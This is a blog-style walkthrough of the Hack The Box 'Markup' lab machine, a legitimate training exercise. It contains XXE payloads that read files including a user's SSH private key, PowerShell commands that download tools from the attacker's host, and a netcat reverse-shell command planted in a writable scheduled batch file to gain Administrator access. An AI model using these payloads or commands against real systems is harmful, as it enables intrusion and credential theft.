And we’re hack to hack the starter track. By that I mean it’s time to hack another machine from the Starting Point of Hack The Box. I have been going through the Starting Point machines one by one and so far we have been able to hack Archetype, Oopsie, Vaccine, Shield, Pathfinder and Included. Now it’s time to move on to Markup!
This is a great box which took me longer than it should have due to my own mistakes. Oh well, it was great fun and I felt silly after I realised what I was doing wrong.
So first we ping.
└──╼ [★]$ sudo ping 10.10.10.49 | tee -a ping.10.10.10.49.txt
[sudo] password for joe:
PING 10.10.10.49 (10.10.10.49) 56(84) bytes of data.
64 bytes from 10.10.10.49: icmp_seq=1 ttl=127 time=240 ms
“IT IS ALIVVEE” so lets go ahead and nmap this sucker.
└──╼ [★]$ sudo nmap -sC -sV -p0- -T4 10.10.10.49
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
I’ve snipped out the parts we don’t need to see. So we have a web server and Secure Shell running. This is a Windows box right? okie dokie lets take a look at the website.
Ok great, those seem to have worked. The website has some basic functionality that allows you to place orders. If we capture the request and look at it with Burp we can see that it’s using XML. Furthermore, we can perform an XML injection (XXE External Entity Injection) attack to receive the contents of the win.ini file.
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///c:/windows/win.ini”> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>
Ok so we know we can grab files through the XXE attack, whats next? Wasn’t there and SSH port open when we performed the nmap scan? Ok lets find out where Windows stores it’s SSH keys. So by pointing our payload at the .ssh/id_rsa file we should be able to recover the private key.
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'file:///C:/Users/Daniel/.ssh/id_rsa'> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>
Ok so I grabbed the key and saved it in a file called daniel.key. Make sure to place this in a directory that you own and make sure to change the file permissions to 600. You can do that using chmod 600 file.ext. So next we try to SSH to the server with Daniels key.
Woop, we have access to the box, let’s see if we can grab the user.txt from Daniel’s desktop.
└──╼ [★]$ sudo ssh -i daniel.key [email protected]
Microsoft Windows [Version 10.0.17763.107]
© 2018 Microsoft Corporation. All rights reserved.daniel@MARKUP C:\Users\daniel>whoami
markup\danieldaniel@MARKUP C:\Users\daniel>type C:\Users\Daniel\Desktop\user.txt
We are on the box and have successfully captured the user flag, we need to find a way to escalate our privileges to administrator to capture that all elusive root.txt flag. I downloaded winPEAS and hosted it using the python http module. Once the file was downloaded to the target machine I ran it to see if there were any interesting files.
Daniel@MARKUP C:\Users\daniel\Documents>powershell -Command (New-Object Net.WebClient).DownloadFile(‘http://10.10.14.38/winPEASany.exe', ‘win.exe’)
Ok so after a bit of digging around I found a couple of things that I thought would be useful. The first one was a password, it didn’t seem to work for the administrator though but yoink, will keep that for later.
The next thing winPEAS found was an interesting directory and file that all users appeared to have access to.
Privilege Escalation Hack
This isn’t a typical directory or file you find on a Windows system so it was worth investigating. I ran the icacls command on the file to see what permissions were assigned to it.
PS C:\Users\daniel\Documents> icacls C:\Log-Management\job.bat
Successfully processed 1 files; Failed processing 0 files
So it looks like built in users have full control over the file, that includes daniel. Ok so lets see what the file is actually doing. Using the type command it was possible to read the contents of the file.
daniel@MARKUP C:\Users\daniel\Documents>type C:\Log-Management\job.bat @echo off FOR /F “tokens=1,2*” %%V IN (‘bcdedit’) DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F “tokens=*” %%G in (‘wevtutil.exe el’) DO (call :do_clear “%%G”) echo. echo Event Logs have been cleared! goto theEnd :do_clear wevtutil.exe cl %1 goto :eof :noAdmin echo You must run this script as an Administrator! :theEnd exit
So the script appears be an automated script to clear the logs but it requires being an admin to run it. So I had a look at a walkthrough at this point and noticed that others had said the script was running as a scheduled task and that whatever command you echo in to the file would be executed the next time it ran. I had a look at the scheduled tasks and couldn’t find it. I ran schtasks and there was nothing in there relating to job.bat. If you know how this was initially found then please let me know.
So with that in mind I set about dropping a copy of netcat on the box using the same method we used to deliver winPEAS.
Invoke-WebRequest http://10.10.14.38/nc64.exe -OutFile nc64.exe
Then once the file was on the box, I echoed a command in to the job.bat file to tell it to execute nc64.exe or nc.exe (whichever you want to use) and connect back to my machine.
So this is where I messed up for the longest time. It was a really really silly mistake too. In order to make my life a bit easier, I upgraded from a Command Prompt session to a PowerShell session. Then whenever I ran the following command:
echo C:\Users\Daniel\nc64.exe -e cmd.exe 10.10.14.38 1234 > C:\Log-Management\job.bat
It would error and tell me that ‘e’ was too ambiguous, who knew the letter e could be so open to interpretation. Well anyway, I spent about an hour enclosing it with quotation marks and all the other stuff you do to try and echo a string in to the file. I even went as far as to encode it with base64. The string was being echoed in to the file but the shell wasn’t coming back to my local machine. To make matters worse, the file was being overwritten every time it ran so I felt like there was a problem with the machine.
Well there wasn’t a problem with the machine, there was a problem with my brain. I dropped down to Command Prompt from PowerShell, ran the command without any quotation marks, the ‘e’ was accepted and within seconds I had a reverse shell with Administrator privileges, and then I captured the root.txt flag.
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
So if you get to this point on the machine and you’re pulling your hair out wondering why your exploit wont work. Try changing from PowerShell to CMD when echoing the string to the job.bat and see if that works. Lesson learned. One thing I did find interesting though was that I created a payload using MSFVenom and dropped that on the box. I echoed the location in to the script but still didn’t get a shell when it executed. I ran type on the file to confirm that the text had been added. Very odd.